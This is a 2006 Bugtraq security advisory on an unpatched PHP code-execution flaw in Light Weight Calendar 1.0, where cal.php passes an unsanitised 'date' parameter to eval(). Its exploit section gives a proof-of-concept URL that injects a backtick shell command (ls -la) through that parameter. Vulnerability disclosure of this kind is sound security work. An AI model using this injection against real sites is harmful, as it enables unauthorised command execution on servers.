bugtraq - [eVuln] Light Weight Calendar PHP Code Execution

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Date: 13 Jan 2006 10:03:13 -0000
From: alex@...ln.com
To: bugtraq@...urityfocus.com
Subject: [eVuln] Light Weight Calendar PHP Code Execution


New eVuln Advisory:
Light Weight Calendar PHP Code Execution
http://evuln.com/vulns/29/summary.html

--------------------Summary----------------

Software: Light Weight Calendar
Sowtware's Web Site: http://sourceforge.net/projects/lwcal/
Versions: 1.0
Critical Level: Dangerous
Type: PHP Code Execution
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (alex@...ln.com)
eVuln ID: EV0029

-----------------Description---------------
Vulnerable script: cal.php

Function eval() is called with user-defined parameter which is not properly sanitized. This can be used to execute arbitrary PHP code.

System access is possible.

--------------Exploit----------------------
PHP Code Execution example.

http://host/lwc/index.php?stam=1928504&date=20050901);%20echo%20(%60ls%20-la%60&View=month

--------------Solution---------------------
No Patch available.

--------------Credit-----------------------
Original Advisory:
http://evuln.com/vulns/29/summary.html

Discovered by: Aliaksandr Hartsuyeu (alex@...ln.com)